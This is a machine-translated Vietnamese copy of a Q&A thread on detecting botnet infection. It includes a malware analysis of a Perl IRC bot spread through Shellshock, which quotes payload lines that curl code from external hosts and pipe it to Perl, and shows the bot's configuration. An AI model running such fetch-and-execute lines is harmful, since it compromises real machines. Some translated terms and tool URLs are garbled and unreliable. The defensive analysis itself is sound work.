it-swarm-vi.com

Làm cách nào để biết máy tính của tôi đang được sử dụng cho một cuộc tấn công DDoS dựa trên botnet?

A botnet là tập hợp các máy tính bị xâm nhập, mỗi máy tính được gọi là 'bot', được kết nối với Internet. Khi một máy tính bị kẻ tấn công xâm nhập, thường có mã bên trong phần mềm độc hại ra lệnh cho nó trở thành một phần của mạng botnet. "Botmaster" hoặc "bot herder" điều khiển các máy tính bị xâm nhập này thông qua các giao thức mạng dựa trên tiêu chuẩn như IRC và http.

Có cách nào để phát hiện ra rằng máy tính của bạn đang được sử dụng trong một cuộc tấn công DDoS dựa trên botnet không?

Có một số công cụ như một phần mềm có thể phát hiện lưu lượng truy cập lạ và hoạt động khai thác từ máy tính của tôi không?

22
Diogo

Không có cách nào dễ dàng để phát hiện xem máy của bạn có phải là một phần của mạng botnet hay không. Thay vào đó, biện pháp phòng ngừa tốt nhất là phòng ngừa: tránh bị nhiễm bệnh ngay từ đầu.

Có rất nhiều và rất nhiều văn bản về cách tránh vi phạm an ninh, quá nhiều để lặp lại ở đây. Đối với người mới bắt đầu, bạn có thể đọc, ví dụ: hướng dẫn bảo mật cho người dùng không có kỹ thuật , Windows cứng , Hardening Linux Server , hoặc - Máy tính để bàn Linux bảo mật . Chúc bạn đọc vui vẻ!

16
D.W.

Phân tích các hạt nhân và các tệp thực thi trước khi chúng được chạy thường là một cách thực hành an toàn, nhưng nó được kết hợp tốt nhất với một mô hình kiểm soát truy cập hệ điều hành mạnh mẽ, chẳng hạn như SELinux.

Mặc dù rất khó xác định vị trí backtime trong mã tự sửa đổi hoặc tự kiểm tra, thông thường sự hiện diện của mã tự sửa đổi hoặc tự kiểm tra là một chỉ báo của phần mềm độc hại. Ví dụ: công cụ MANDIANT Red Rèm có thể hỗ trợ nhà phân tích phần mềm độc hại phát hiện entropy cao trong các phần của mã hoặc các tên/mẫu lạ trong các phần này.

Ngoài ra, nhiều thực tiễn khác tồn tại (và không phải tất cả đều được ghi lại), chẳng hạn như truy tìm, mô phỏng, et al. Việc kết hợp tất cả các phương pháp này vào một công cụ hoặc kỹ thuật là không phổ biến, vì các nhà phân tích phần mềm độc hại thường chuyển từ phân tích tĩnh sang phân tích động và quay lại rất nhanh (để có được viễn cảnh). Tuy nhiên, một cách tiếp cận theo giai đoạn sử dụng một bộ công cụ tối thiểu có thể hoàn thành rất nhiều việc trong một khoảng thời gian rất ngắn. Ví dụ: tôi thường sử dụng pescanner.py trên tệp thực thi PE trước khi chạy nó trong hộp cát cùng với trình kết xuất bộ nhớ xử lý PE và thiết bị để theo dõi như PIN .

Một số gần đây văn học đã ngày càng tốt trong lĩnh vực nghiên cứu này.

10
atdre

Đầu tiên, bạn không thể tin tưởng vào một máy tính bị xâm nhập vì đầu ra của tất cả các tiện ích có thể bị làm giả để che giấu sự hiện diện của các hoạt động độc hại.

Tôi thường không mong đợi bất kỳ máy tính có thực hành bảo mật mạnh mẽ nào là một phần của mạng bot. Một nơi bạn chỉ cài đặt mã từ các nguồn đáng tin cậy, có mật khẩu mạnh (không được sử dụng ở nơi khác), v.v. Trừ khi ISP của tôi nói rằng họ đã nhận được báo cáo về hoạt động bất thường từ địa chỉ IP của tôi cho biết bot tiềm năng hoặc người dùng cho tôi biết họ đã bị lừa cài đặt phần mềm không được như quảng cáo và giờ họ nhận ra có khả năng là trojan.

Trong những trường hợp đó, tôi sẽ bắt đầu thử nghiệm các dấu hiệu của một bot tiềm năng:

  • giám sát hoạt động mạng. Chạy netstat - tất cả các kết nối ít nhiều có ý nghĩa? (bỏ qua các kết nối địa phương; chạy whois trên các IP nước ngoài mà tôi không nhận ra). Hãy nhớ đầu ra của netstat có thể bị làm giả, do đó, bạn cũng chạy wireshark (bộ phân tích mạng) từ một máy tính khác (được cho là an toàn) trên mạng cục bộ của tôi và kiểm tra xem có lưu lượng truy cập bất thường nào đến/từ IP không cục bộ lạ không địa chỉ (đó không phải là công cụ thường xuyên từ bộ định tuyến/máy in mạng của tôi, v.v.)?

  • Khởi động vào cd trực tiếp của cùng một phân phối (vì vậy bạn tin tưởng các tiện ích) và chạy tổng kiểm (md5) trên các tiện ích quan trọng (/bin, /sbin/, /usr/bin/, v.v.) và so sánh với tổng kiểm tra đã biết của một máy tính an toàn có cùng hệ điều hành/phiên bản (hoặc thực hiện cài đặt mới và chạy tất cả các bản cập nhật và sau đó tạo tổng kiểm tra để so sánh). (Nếu tổng kiểm không khớp, có thể là do cập nhật tiện ích; vì vậy hãy kiểm tra các phiên bản và điều tra thêm). Tôi đã giả sử hệ thống linux/unix cho câu trả lời này, nhưng có lẽ bạn có thể làm tương tự cho các cửa sổ nếu bạn biết phải kiểm tra cái gì.

Nếu bạn tìm thấy bằng chứng về bot, tôi sẽ sao lưu dữ liệu của mình (không thể thực thi được), xóa sạch đĩa cứng và cài đặt lại HĐH từ một nguồn an toàn với các mật khẩu khác nhau. Tôi sẽ rất cảnh giác khi mở các tài liệu có thể chứa macro (ví dụ: doc, pdf) từ máy tính bị xâm nhập (đảm bảo tắt macro trong các chương trình có liên quan trước khi xem lại các tệp này, không đăng nhập với tư cách quản trị viên/root, và cài đặt một trình quét virus).

10
dr jimbob

Một bot thực sự tốt sẽ ẩn mình khỏi kernel.

Cách duy nhất để phát hiện ra nó là đánh hơi lưu lượng giữa máy và internet, sử dụng một máy bên ngoài, nổi tiếng. Thậm chí sau đó sẽ không có cách nào để biết nếu bot chỉ im lìm tại thời điểm bạn tìm kiếm nó.

Một tùy chọn khác là khởi động máy từ phương tiện đã biết (tốt nhất là chỉ đọc) (ví dụ: CD hoặc DVD) và phân tích pháp y của máy để tìm kiếm dấu vết nhiễm trùng.

9
Tinned_Tuna

Darknet cũng là một cách tốt để giúp khám phá các máy bị nhiễm trên mạng của bạn. Nó thực chất là một mạng con trong mạng LAN của bạn mà thông thường không có lưu lượng truy cập đến nó, với các máy ghi nhật ký trong đó, giúp phát hiện máy nào không tuân theo thiết lập mạng thông thường của bạn, ví dụ: quét các nút trên mạng để lây nhiễm.

Vì bạn nên biết hành vi nào là bình thường và điều gì không nên, các máy bị nhiễm đang cố lây nhiễm cho người khác sẽ bị dính như ngón tay cái.

9
deed02392

Câu trả lời cụ thể: DDoS Perl IrcBot v1.0/2012 của Nhóm bảo mật DDoS

Khước từ

  • Điều này đã được thực hiện xung quanh phiên bản cụ thể này phần mềm độc hại (được gọi sau tool ) ... Đây không phải là một phương pháp chung!

  • Chơi với phần mềm độc hại và vi-rút có thể trở nên có hại! Sử dụng một phần cứng chuyên dụng, người dùng, ý tưởng không được kết nối với Internet!

Mày đã được cảnh báo!

Giới thiệu

Tôi đăng câu trả lời này dưới dạng a trường hợp thực tế, vì tôi đã làm việc xung quanh việc này tool lần đầu tiên vào năm 2012 và gần đây, do Shellshock lỗi và khai thác ...

Tôi đã trở thành một thư nghi ngờ có chứa cùng một chuỗi như: To, References, Cc, From, Subject, Date, Message-ID, Comments, Keywords, Resent-Date and Resent-From:

() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.x.x/ex.txt|Perl;lwp-downloa..

Trước tiên tôi thấy điều này thật buồn cười, hãy kiểm tra xung quanh người dùng thư và máy chủ của tôi, không có gì lạ, ok ...

Để hoàn toàn chắc chắn, tôi đã cố tải xuống phần mềm độc hại, không may chúng bị rớt khỏi máy chủ.

... Vài ngày sau, tôi đã thấy điều này trong một nhật ký sever web:

... [27/Oct/2014:05:40:56 +0100] "GET /admin.cgi HTTP/1.0"  403 2132 \
        "() { :; }; curl http://202.143.x.x/lib21/index.cgi | Perl" \

Trường các trường refereruser-agent không chứa cùng một chuỗi. Nhưng với một url khác.

Khử mùi

Lần này, tôi đã có thể tải xuống tool:

wget http://202.143.x.x/lib21/index.cgi
less index.cgi

#!/usr/bin/Perl
use MIME::Base64;
eval (decode_base64('DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI...
...IyMjIyMj'));

Bước đầu tiên, làm cho chúng có thể đọc được. Để làm điều này, chúng ta chỉ cần thay thế eval bằng print:

Perl <(sed s/eval/print/ index.cgi) >ircBot.pl

sed -ne '3,11{s/^\(.\{65\}\).*$/\1/;p}' ircBot.pl
#################################################################
##  DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team       ## [
##      Stealth MultiFunctional IrcBot writen in Perl          ##
##        Teste on every system with Perl instlled             ##
##                                                             ##
##     This is a free program used on your own risk.           ##
##        Created for educational purpose only.                ##
## I'm not responsible for the illegal use of this program.    ##
#################################################################

Điều này đã được thực hiện cho mục đích giáo dục!?

Vì vậy, chúng ta có thể học ...

Kiểm tra

Bạn có thể tìm thấy một phiên bản khử nhiễu ở đó . (Tôi không phải bài viết của mình, tôi đã tìm thấy chúng có cùng cấu hình sau khi đọc bài đăng này )

Nota: Đối với đang chạy loại công cụ này, tôi sử dụng phần mềm hawdware chuyên dụng, không được kết nối và chạy chuyên dụng máy ảo = trong đó, để có thể theo dõi, giám sát hoặc ngăn chặn chúng từ cấp trên.

    31      ##### [ Configuration ] #####
    32      #############################
    33      
    34      my @rps = ("/usr/local/Apache/bin/httpd -DSSL",
    35                         "/usr/sbin/httpd -k start -DSSL",
    36                 "/usr/sbin/httpd",
    37                         "/usr/sbin/sshd -i",
...
    43                         "/usr/sbin/acpid",
    44                         "/usr/sbin/cron");
    45      my $process = $rps[Rand scalar @rps];
    46      
    47      my $vers = "\001VERSION - unknown command.\001";
    48      my $ircname = "shock";
    49      my $realname = `uname -vr`;
    50      my $nick = "Perl";
    51      
    52      $server = 'fflyy.su' unless $server;
    53      my $port = '8080';
    54      
    55      my $linas_max='10';
    56      my $sleep='5';
    57      
    58      my $homedir = "/tmp";
    59      my $version = 'DDoS Perl Bot v1.0';
    60      
    61      my @admins = ("M","st0n3d","x00","Jorgee");
    62      my @hostauth = ("lolhome");
    63      my @channels = ("#mperl2");
    64      $unamea = `uname -a`;
    65      $uid = `id`;
    66      
    67      my $pacotes = 1;
    68      
    69      #################################################################
    70      ##### [ Stop Editing if you dont know what are you doing. ] #####

Chà, trên dòng 31 đến 70, bạn sẽ tìm thấy cấu hình:

Chúng tôi đã có thể quan sát rằng $process được xác định ngẫu nhiên từ một chuỗi các chuỗi, tại dòng 45.

Sau khi thay đổi $server, $port, $admins, @hostauth and @channels, Tôi chạy công cụ.

Phòng thí nghiệm

  • Điều đầu tiên phải nói: công cụ này làm nóng rất nhiều CPU. Trên hệ thống lớn, điều này có thể vô hại, nhưng với cấu hình kém của tôi, điều này rất quan trọng.

  • Bot được kết nối trên irc của tôi. Tôi có thể yêu cầu anh ta như được trình bày trong tiêu đề của kịch bản và nếu tôi gửi /msg, họ mở một phòng chat riêng mà tôi có thể sử dụng như a Bảng điều khiển Shell.

  • Về phía máy chủ, một khi chạy, chúng biến mất. Nếu tôi chạy ps ax, Tôi thấy một quá trình httpd trước đây không có, nhưng ...

Vâng, đủ bây giờ. Có một số lệnh tôi đã chạy để hiển thị rõ ràng nó ở đâu (tất nhiên, tất cả lệnh này sẽ được chạy dưới dạng root hoặc thông qua Sudo):

  • Tìm kiếm để chạy Perl thực thi:

    ls -l /proc/*/exe | grep Perl
    lrwxrwxrwx 1 www-data www-data 0 oct 30 09:39 /proc/23664/exe -> /usr/bin/Perl
    

    Điều này sẽ hiển thị tất cả quá trình sử dụng Perl như thực thi. Điều này không dựa trên cmdline.

  • Tìm kiếm các kết nối TCP:

    netstat -tanp | grep :8080
    tcp     0   0 192.168.4.3:33083   192.168.4.1:8080   ESTABLISHED 23664/httpd -DSSL
    

    Trong cấu hình cụ thể này (tạo phần mềm độc hại), cổng 8080 được sử dụng làm cổng từ xa . Ngay cả khi bạn giữ một máy chủ thông thường, sử dụng cổng 8080, cổng này được sử dụng làm cổng cục bộ .

  • Tìm kiếm máy chủ web của người dùng không bị quá trình máy chủ web giữ

    ps --user www-data ho ppid,pid,cmd | sed -ne 's/^ *1 //p'
    23664 /usr/local/Apache/bin/httpd -DSSL
    
  • Tìm kiếm quá trình ai ăn CPU:

    top
    top - 09:48:00 up 58 days, 21:51,  1 user,  load average: 0.02, 0.03, 0.00
    Tasks:  15 total,   3 running,  12 sleeping,   0 stopped,   0 zombie
    %Cpu(s):  0.7 us,  0.3 sy,  0.0 ni, 98.9 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
    KiB Mem:    262144 total,    88164 used,   173980 free,        0 buffers
    KiB Swap:        0 total,        0 used,        0 free,        0 cached
    
      PID USER      PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND
    23664 www-data  20   0  7408 2956 1204 R  91.7  1.1   8:30.73 /usr/local/apac
        1 root      20   0  2152  724  620 S   0.0  0.3   0:36.47 init
     1028 root      20   0  2248  776  568 S   0.0  0.3   0:03.76 rpcbind
     1039 statd     20   0  2324 1072  820 S   0.0  0.4   0:00.00 rpc.statd
    

Giết chúng.

Chà, bây giờ là lúc để ngăn chặn điều này:

kill -9 23664

Để sử dụng thêm, trong khi công cụ này không bị sửa đổi, tôi đã nhanh chóng viết nó perlircbotKiller.pl (có thể được chạy với ít nhất các quyền tương tự như bot ... hoặc root, đoán!)

#!/usr/bin/Perl

my @rps=("/usr/local/Apache/bin/httpd -DSSL", "/usr/sbin/httpd -k start -DSSL",
   "/usr/sbin/httpd", "/usr/sbin/sshd -i","/usr/sbin/sshd","/usr/sbin/sshd -D",
   "/usr/sbin/Apache2 -k start", "/sbin/syslogd", "/sbin/klogd -c 1 -x -x",
   "/usr/sbin/acpid", "/usr/sbin/cron");

opendir my $dh,"/proc";
map {
    open my $fh,"/proc/".$_."/cmdline";
    my $cmdline=<$fh>;
    close $fh;
    $cmdline=~s/\0*$//g;
    if (grep { $cmdline eq $_ } @rps) {
    printf "Sending SIGKILL to process %d\n", $_;
        kill 9, $_;
    }; }
grep { readlink("/proc/".$_."/exe") =~ m|/Perl| }
grep { /^\d+$/ }
readdir $dh;

... Và fan của tôi lại bắt đầu chậm lại ...

Công cụ chuyên dụng

Sau khi viết lại, tôi đã viết một chút kịch bản Perl dành riêng cho

  • tìm kiếm tập lệnh bị che khuất Perl, python hoặc php ai giấu tên mình bằng cách sử dụng Apache, acpi, httpd, sshd, v.v ...

  • tìm kiếm quá trình trong đó pid cha là 1.

  • danh sách kết nối mở

  • cung cấp một cách đơn giản để tiêu diệt quy trình đáng ngờ.

    Suspicious process      '5089',
        has parent pid: '1',
        run             '/usr/bin/Perl',
        claim to be     '/sbin/syslogd'
        and has port    tcp '8080'
        open to         '93.174.93.80'
    Send SIGKILL to 5089 (Y/n)? Y
    

Điều này hoạt động tốt với nhiều phần mềm độc hại hiện đang phát triển, nhưng tôi hy vọng nó có thể hoạt động với các phần mềm độc hại khác sử dụng các phương pháp tương tự.

Phần kết luận.

  • Điều này tool (bot Perl irc) không hoàn toàn vô hình, nhưng một khi đã chạy, họ cung cấp mọi thứ mà người dùng bị nhiễm có thể làm. (Với quyền của người dùng).

  • Phiên bản Shellshock tấn công không lưu phần mềm độc hại trên hệ thống bị nhiễm, do đó, đơn giản khởi động lại có thể đủ để loại bỏ chúng.

  • Quan tâm đến các công cụ khác, kẻ tấn công có thể sử dụng một lần này tool được bắt đầu! Particulary: cronat, nhưng bất kỳ tập lệnh hoặc nhị phân nào user có thể chạy và sửa đổi có thể bị nhiễm!

  • Quan tâm đến vấn đề khác vấn đề bảo mật cục bộ có thể cho phép độ cao đặc quyền địa phương quá !!

1
F. Hauri

1) Pin của bạn cạn kiệt trong thời gian tắt máy.

2) Sau đó, bạn phát hiện ra PC hoặc máy tính xách tay của mình không bao giờ thực sự tắt, trừ khi tháo pin hoặc dây nguồn.

3) Bộ điều hợp không dây của bạn bị vô hiệu hóa nhưng bạn nhận thấy vẫn phải có kết nối không dây từ xa. (vì nhiều lý do tôi sẽ không liệt kê ở đây)

4) Một người dùng không xác định có quyền sở hữu của bạn ổ C: và hơn thế nữa.

5) Bạn đã mất quyền truy cập vào các tệp trong tệp system32 và chương trình (x86) những thứ như Cyberlink, Bluetooth, Microsoft Shell ... vv.

6) Điểm khôi phục của bạn biến mất.

7) Máy hủy tài liệu trong McAfee hoặc Avast đột ngột không thể hủy, hoặc chỉ xuất hiện.

8) Tường lửa thay đổi bạn không thực hiện.

9) trong quá trình khôi phục hệ thống bên ngoài phân vùng windows, bạn nhận thấy một hộp flash xuất hiện trên màn hình có ghi Chế độ gỡ lỗi FBI

10) Nếu 9), thì "hệ thống đã bị đánh".

1
MaxImpact

Bạn có thể sử dụng máy phân tích mạng. kiểm tra giao thông đi. Hầu hết các cuộc tấn công nhìn chằm chằm theo giao thức http/tcp/udp với kích thước gói lớn/khoảng thời gian nhanh.

Nếu PC của bạn kết nối thường xuyên với một máy chủ/ip không rõ và đăng/kết nối quy định với nó. Bạn có thể chắc chắn rằng bạn được điều khiển bởi Máy chủ C & C từ B Master.

1
Hidden

Có một công cụ có sẵn từ TrendMicro để kiểm tra nhiễm Bot.

http://free.antillin.com/us/rubiated/

1
tekybala

Để kiểm tra xem máy tính của bạn hoặc mạng của bạn có phải là bot hãy thử dịch vụ kaspersky https://blog.kaspersky.com/simda-botnet-check/8304/ hoặc RUBiated ( http: //free.antachus.com/us/rubiated/ ) của Trend Micro. nó tuyên bố sẽ giám sát một máy tính về khả năng lây nhiễm và các hoạt động đáng ngờ liên quan đến bot.

1
Badr Bellaj